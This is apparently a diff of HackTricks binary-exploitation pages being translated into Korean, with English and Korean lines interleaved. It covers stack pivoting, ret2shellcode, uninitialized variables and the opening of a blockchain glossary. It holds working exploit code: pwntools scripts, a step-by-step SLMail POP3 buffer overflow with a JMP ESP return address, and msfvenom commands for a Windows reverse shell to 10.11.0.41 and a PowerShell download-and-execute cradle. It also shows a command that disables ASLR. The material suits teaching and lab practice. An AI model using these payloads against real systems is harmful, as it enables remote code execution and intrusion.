POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
Check the ret2esp technique here:
ret2esp 기술에 대한 내용은 여기에서 확인하세요:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
@ -198,36 +186,36 @@ Check the ret2esp technique here:
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- 64비트, ret sled로 시작하는 rop 체인을 이용한 off by one 취약점
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
- 64비트, no relro, canary, nx 및 pie. 프로그램은 스택 또는 pie에 대한 leak와 qword의 WWW를 제공합니다. 먼저 스택 leak를 얻고 WWW를 사용하여 pie leak를 가져옵니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다 ([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다.
## ARM64
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
ARM64에서 함수의 **프롤로그와 에필로그**는 **스택에서 SP 레지스터를 저장하거나 검색하지 않습니다**. 게다가 **`RET`** 명령은 SP가 가리키는 주소로 반환하지 않고 **`x30`** 내부의 주소로 반환합니다.
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
따라서 기본적으로 에필로그를 남용하더라도 **스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다**. SP를 제어할 수 있게 되더라도 여전히 **`x30`** 레지스터를 **제어할 방법이 필요합니다**.
- prologue
- 프롤로그
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
```
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP는 프레임 레코드를 가리킴
```
- epilogue
- 에필로그
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
> [!CAUTION]
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
> ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **`SP`**를 **제어할 수 있는 것**입니다 (어떤 레지스터의 값을 제어하여 `SP`에 전달하거나, 어떤 이유로 `SP`가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 **에필로그를 남용하여** **제어된 `SP`**에서 **`x30`** 레지스터를 로드하고 **`RET`**를 수행하는 것입니다.
Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
다음 페이지에서도 **ARM64에서의 Ret2esp**에 해당하는 내용을 확인할 수 있습니다:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md

View File

@ -4,47 +4,42 @@
## Basic Information
**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
**스택 셸코드**는 **바이너리 익스플로잇**에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 셸코드를 작성한 다음 **명령 포인터(IP)** 또는 **확장 명령 포인터(EIP)**를 이 셸코드의 위치를 가리키도록 수정하여 실행되게 하는 방법입니다. 이는 무단 접근을 얻거나 대상 시스템에서 임의의 명령을 실행하기 위해 사용되는 고전적인 방법입니다. 다음은 프로세스의 개요와 간단한 C 예제, 그리고 **pwntools**를 사용하여 해당 익스플로잇을 작성하는 방법입니다.
### C Example: A Vulnerable Program
Let's start with a simple example of a vulnerable C program:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
이 프로그램은 `gets()` 함수를 사용하여 버퍼 오버플로우에 취약합니다.
This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
### Compilation
To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
### 컴파일
이 프로그램을 다양한 보호 기능을 비활성화하여 컴파일하려면 (취약한 환경을 시뮬레이션하기 위해) 다음 명령어를 사용할 수 있습니다:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Disables stack protection.
- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
- `-fno-stack-protector`: 스택 보호를 비활성화합니다.
- `-z execstack`: 스택을 실행 가능하게 만들어, 스택에 저장된 shellcode를 실행하는 데 필요합니다.
- `-no-pie`: 위치 독립 실행 파일을 비활성화하여, 우리의 shellcode가 위치할 메모리 주소를 예측하기 쉽게 만듭니다.
- `-m32`: 프로그램을 32비트 실행 파일로 컴파일하여, 익스플로잇 개발의 단순성을 위해 자주 사용됩니다.
### Python Exploit using Pwntools
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
다음은 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 익스플로잇을 Python으로 작성하는 방법입니다:
```python
from pwn import *
@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
이 스크립트는 **NOP 슬라이드**, **쉘코드**로 구성된 페이로드를 생성한 다음, **EIP**를 NOP 슬라이드를 가리키는 주소로 덮어써서 쉘코드가 실행되도록 합니다.
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
**NOP 슬라이드**(`asm('nop')`)는 실행이 정확한 주소에 관계없이 쉘코드로 "슬라이드"될 가능성을 높이기 위해 사용됩니다. `p32()` 인수를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하여 NOP 슬라이드에 도달하도록 합니다.
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
## 보호 조치
## Protections
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **은 비활성화되어야** 실행 간에 주소가 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, win 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다.
- [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내에서 쉘코드의 실행을 방지합니다. 해당 영역은 실행 가능하지 않기 때문입니다.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
## Other Examples & References
## 기타 예제 및 참고 자료
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR with stack address leak, write shellcode and jump to it
- 64비트, 스택 주소 leak가 있는 ASLR, 쉘코드 작성 및 점프
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR with stack leak, write shellcode and jump to it
- 32비트, 스택 leak가 있는 ASLR, 쉘코드 작성 및 점프
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
- 32비트, 스택 leak가 있는 ASLR, exit() 호출 방지를 위한 비교, 변수에 값 덮어쓰기 및 쉘코드 작성 및 점프
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, ASLR 없음, 스택을 실행 가능하게 만드는 ROP 가젯 및 스택 내 쉘코드로 점프
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,47 +2,40 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
arm64에 대한 소개는 다음에서 확인하세요:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie, canary and nx:
PIE, canary 및 NX 없이 컴파일:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## No ASLR & No canary - Stack Overflow&#x20;
To stop ASLR execute:
ASLR을 중지하려면 다음을 실행하십시오:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
[**bof의 오프셋을 확인하려면 이 링크를 확인하세요**](../ret2win/ret2win-arm64.md#finding-the-offset).
To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploit:
악용:
```python
from pwn import *
@ -73,9 +66,8 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
여기서 유일하게 "복잡한" 것은 호출할 스택의 주소를 찾는 것입니다. 제 경우에는 gdb를 사용하여 찾은 주소로 익스플로잇을 생성했지만, 익스플로잇할 때 작동하지 않았습니다(스택 주소가 약간 변경되었기 때문입니다).
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
생성된 **`core` 파일**을 열고(`gdb ./bog ./core`) 셸코드 시작의 실제 주소를 확인했습니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,68 +1,66 @@
# Uninitialized Variables
# 초기화되지 않은 변수
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example:
여기서 핵심 아이디어는 **초기화되지 않은 변수가 할당된 메모리에 이미 존재하는 값을 가지게 된다는 것을 이해하는 것입니다.** 예를 들어:
- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it.
- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location.
- **함수 1: `initializeVariable`**: 우리는 변수 `x`를 선언하고 값을 할당합니다. 예를 들어 `0x1234`라고 합시다. 이 작업은 메모리에서 자리를 예약하고 그 안에 특정 값을 넣는 것과 같습니다.
- **함수 2: `useUninitializedVariable`**: 여기서 우리는 또 다른 변수 `y`를 선언하지만 값은 할당하지 않습니다. C에서는 초기화되지 않은 변수가 자동으로 0으로 설정되지 않습니다. 대신, 마지막으로 해당 메모리 위치에 저장된 값을 유지합니다.
When we run these two functions **sequentially**:
이 두 함수를 **순차적으로** 실행할 때:
1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address.
2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there.
1. `initializeVariable`에서 `x`는 값(`0x1234`)이 할당되어 특정 메모리 주소를 차지합니다.
2. `useUninitializedVariable`에서 `y`는 선언되지만 값이 할당되지 않으므로 `x` 바로 뒤의 메모리 자리를 차지합니다. `y`를 초기화하지 않음으로써, `x`가 사용한 동일한 메모리 위치에서 마지막 값인 "상속"을 받게 됩니다.
This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory.
이 행동은 저수준 프로그래밍의 핵심 개념을 설명합니다: **메모리 관리가 중요하며**, 초기화되지 않은 변수는 예측할 수 없는 행동이나 보안 취약점을 초래할 수 있습니다. 왜냐하면 이들은 메모리에 남아 있는 민감한 데이터를 의도치 않게 보유할 수 있기 때문입니다.
Uninitialized stack variables could pose several security risks like:
초기화되지 않은 스택 변수는 여러 보안 위험을 초래할 수 있습니다:
- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data.
- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits.
- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes.
- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats.
### Example
- **데이터 유출**: 비밀번호, 암호화 키 또는 개인 정보와 같은 민감한 정보가 초기화되지 않은 변수에 저장될 경우 노출될 수 있으며, 공격자가 이 데이터를 읽을 수 있는 가능성이 있습니다.
- **정보 공개**: 초기화되지 않은 변수의 내용은 프로그램의 메모리 레이아웃이나 내부 작업에 대한 세부 정보를 드러낼 수 있으며, 이는 공격자가 표적 공격을 개발하는 데 도움을 줄 수 있습니다.
- **충돌 및 불안정성**: 초기화되지 않은 변수를 포함하는 작업은 정의되지 않은 행동을 초래할 수 있으며, 이는 프로그램 충돌이나 예측할 수 없는 결과를 초래할 수 있습니다.
- **임의 코드 실행**: 특정 시나리오에서 공격자는 이러한 취약점을 악용하여 프로그램의 실행 흐름을 변경하고 임의 코드를 실행할 수 있으며, 이는 원격 코드 실행 위협을 포함할 수 있습니다.
### 예시
```c
#include <stdio.h>
// Function to initialize and print a variable
void initializeAndPrint() {
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
}
// Function to demonstrate the behavior of an uninitialized variable
void demonstrateUninitializedVar() {
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
}
int main() {
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
// First, call the function that initializes its variable
initializeAndPrint();
// First, call the function that initializes its variable
initializeAndPrint();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
return 0;
return 0;
}
```
#### 이 작동 방식:
#### How This Works:
- **`initializeAndPrint` 함수**: 이 함수는 정수 변수 `initializedVar`를 선언하고, 그 값에 `100`을 할당한 다음, 변수의 메모리 주소와 값을 출력합니다. 이 단계는 간단하며 초기화된 변수가 어떻게 작동하는지를 보여줍니다.
- **`demonstrateUninitializedVar` 함수**: 이 함수에서는 초기화하지 않은 정수 변수 `uninitializedVar`를 선언합니다. 그 값을 출력하려고 시도할 때, 출력은 무작위 숫자를 보여줄 수 있습니다. 이 숫자는 해당 메모리 위치에 이전에 있던 데이터를 나타냅니다. 환경과 컴파일러에 따라 실제 출력은 달라질 수 있으며, 때때로 안전을 위해 일부 컴파일러는 변수를 자동으로 0으로 초기화할 수 있지만, 이는 신뢰해서는 안 됩니다.
- **`main` 함수**: `main` 함수는 위의 두 함수를 순차적으로 호출하여 초기화된 변수와 초기화되지 않은 변수의 차이를 보여줍니다.
- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves.
- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
## ARM64 예제
## ARM64 Example
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
ARM64에서는 로컬 변수가 스택에서 관리되므로 전혀 변경되지 않습니다. 여기에서 [**이 예제를 확인할 수 있습니다**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) .
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,20 +2,17 @@
{{#include ../banners/hacktricks-training.md}}
## **Start installing the SLMail service**
## **SLMail 서비스 설치 시작**
## Restart SLMail service
Every time you need to **restart the service SLMail** you can do it using the windows console:
## SLMail 서비스 재시작
**SLMail 서비스**를 재시작해야 할 때마다 Windows 콘솔을 사용하여 할 수 있습니다:
```
net start slmail
```
![](<../images/image (988).png>)
## Very basic python exploit template
## 매우 기본적인 파이썬 익스플로잇 템플릿
```python
#!/usr/bin/python
@ -27,99 +24,89 @@ port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
## **Immunity Debugger 글꼴 변경**
## **Change Immunity Debugger Font**
`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`로 이동합니다.
Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Attach the proces to Immunity Debugger:**
## **Immunity Debugger에 프로세스 연결:**
**File --> Attach**
![](<../images/image (869).png>)
**And press START button**
**그리고 START 버튼을 누릅니다.**
## **Send the exploit and check if EIP is affected:**
## **익스플로잇을 전송하고 EIP에 영향을 미치는지 확인:**
![](<../images/image (906).png>)
Every time you break the service you should restart it as is indicated in the beginnig of this page.
서비스를 중단할 때마다 이 페이지의 시작 부분에 표시된 대로 서비스를 다시 시작해야 합니다.
## Create a pattern to modify the EIP
## EIP를 수정하기 위한 패턴 생성
The pattern should be as big as the buffer you used to broke the service previously.
패턴은 이전에 서비스를 중단하는 데 사용한 버퍼만큼 커야 합니다.
![](<../images/image (420).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
버퍼를 변경하고 패턴을 설정한 후 익스플로잇을 실행하세요.
Change the buffer of the exploit and set the pattern and lauch the exploit.
A new crash should appeard, but with a different EIP address:
새로운 충돌이 발생해야 하며, 하지만 다른 EIP 주소가 나타납니다:
![](<../images/image (636).png>)
Check if the address was in your pattern:
주소가 패턴에 있는지 확인하세요:
![](<../images/image (418).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
**버퍼의 오프셋 2606에서 EIP를 수정할 수 있는 것 같습니다.**
Looks like **we can modify the EIP in offset 2606** of the buffer.
Check it modifing the buffer of the exploit:
익스플로잇의 버퍼를 수정하여 확인하십시오:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
With this buffer the EIP crashed should point to 42424242 ("BBBB")
이 버퍼로 EIP가 충돌하면 42424242("BBBB")를 가리켜야 합니다.
![](<../images/image (874).png>)
![](<../images/image (92).png>)
Looks like it is working.
작동하는 것 같습니다.
## Check for Shellcode space inside the stack
## 스택 내에서 Shellcode 공간 확인
600B should be enough for any powerfull shellcode.
Lets change the bufer:
600B는 강력한 shellcode에 충분해야 합니다.
버퍼를 변경해 봅시다:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
launch the new exploit and check the EBP and the length of the usefull shellcode
새로운 익스플로잇을 실행하고 EBP와 유용한 셸코드의 길이를 확인하세요.
![](<../images/image (119).png>)
![](<../images/image (879).png>)
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
취약점에 도달했을 때 EBP가 셸코드를 가리키고 있으며, 여기에서 셸코드를 배치할 수 있는 충분한 공간이 있음을 알 수 있습니다.
In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
이 경우 **0x0209A128에서 0x0209A2D6까지 = 430B.** 충분합니다.
## Check for bad chars
Change again the buffer:
## 나쁜 문자 확인
버퍼를 다시 변경하세요:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@ -141,30 +128,27 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
나쁜 문자(badchars)는 0x01에서 시작합니다. 0x00은 거의 항상 나쁩니다.
The badchars starts in 0x01 because 0x00 is almost always bad.
이 새로운 버퍼로 취약점을 반복 실행하여 쓸모없는 문자를 삭제합니다:
Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
예를 들어:
For example:
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
이 경우 **0x0A 문자를 사용하지 말아야 한다**는 것을 알 수 있습니다(0x09 문자가 메모리에 저장되지 않음).
![](<../images/image (111).png>)
In this case you can see that **the char 0x0D is avoided**:
이 경우 **0x0D 문자가 피해야 한다**는 것을 알 수 있습니다:
![](<../images/image (1098).png>)
## Find a JMP ESP as a return address
Using:
## 반환 주소로 JMP ESP 찾기
사용:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
You will **list the memory maps**. Search for some DLl that has:
당신은 **메모리 맵을 나열할 것입니다**. 다음과 같은 DLl을 검색하십시오:
- **Rebase: False**
- **SafeSEH: False**
@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has:
![](<../images/image (555).png>)
Now, inside this memory you should find some JMP ESP bytes, to do that execute:
이제 이 메모리 안에서 JMP ESP 바이트를 찾아야 합니다. 이를 위해 다음을 실행하십시오:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Then, if some address is found, choose one that don't contain any badchar:**
**그런 다음, 주소가 발견되면 나쁜 문자가 포함되지 않은 주소를 선택하십시오:**
![](<../images/image (605).png>)
**In this case, for example: \_0x5f4a358f**\_
## Create shellcode
**이 경우, 예를 들어: \_0x5f4a358f**\_
## 셸코드 생성
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
익스플로잇이 작동하지 않지만 작동해야 하는 경우(ImDebg를 통해 셸코드에 도달했음을 확인할 수 있음), 다른 셸코드를 생성해 보십시오(msfvenom을 사용하여 동일한 매개변수에 대해 다른 셸코드를 생성).
If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
**셸코드의 시작 부분에 NOPS를 추가**하고 이를 사용하여 반환 주소로 JMP ESP를 수행하고 익스플로잇을 완료하십시오:
```bash
#!/usr/bin/python
@ -236,26 +215,23 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
> [!WARNING]
> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
> 셸코드가 **자기 자신을 덮어쓸** 수 있으므로, 셸코드 앞에 항상 NOP를 추가하는 것이 중요합니다.
## Improving the shellcode
Add this parameters:
## 셸코드 개선하기
이 매개변수를 추가하세요:
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,180 +1,176 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Concepts
## 기본 개념
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **스마트 계약**은 특정 조건이 충족될 때 블록체인에서 실행되는 프로그램으로, 중개자 없이 계약 실행을 자동화합니다.
- **탈중앙화 애플리케이션 (dApps)**은 스마트 계약을 기반으로 하며, 사용자 친화적인 프론트 엔드와 투명하고 감사 가능한 백 엔드를 특징으로 합니다.
- **토큰 및 코인**은 코인이 디지털 화폐로 사용되는 반면, 토큰은 특정 맥락에서 가치나 소유권을 나타냅니다.
- **유틸리티 토큰**은 서비스에 대한 접근을 부여하고, **증권 토큰**은 자산 소유권을 나타냅니다.
- **DeFi**는 탈중앙화 금융을 의미하며, 중앙 권한 없이 금융 서비스를 제공합니다.
- **DEX**와 **DAO**는 각각 탈중앙화 거래 플랫폼과 탈중앙화 자율 조직을 의미합니다.
## Consensus Mechanisms
## 합의 메커니즘
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
합의 메커니즘은 블록체인에서 안전하고 합의된 거래 검증을 보장합니다:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **작업 증명 (PoW)**은 거래 검증을 위해 계산 능력에 의존합니다.
- **지분 증명 (PoS)**은 검증자가 일정량의 토큰을 보유해야 하며, PoW에 비해 에너지 소비를 줄입니다.
## Bitcoin Essentials
## 비트코인 필수 사항
### Transactions
### 거래
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
비트코인 거래는 주소 간 자금을 전송하는 것을 포함합니다. 거래는 디지털 서명을 통해 검증되며, 개인 키의 소유자만이 전송을 시작할 수 있습니다.
#### Key Components:
#### 주요 구성 요소:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
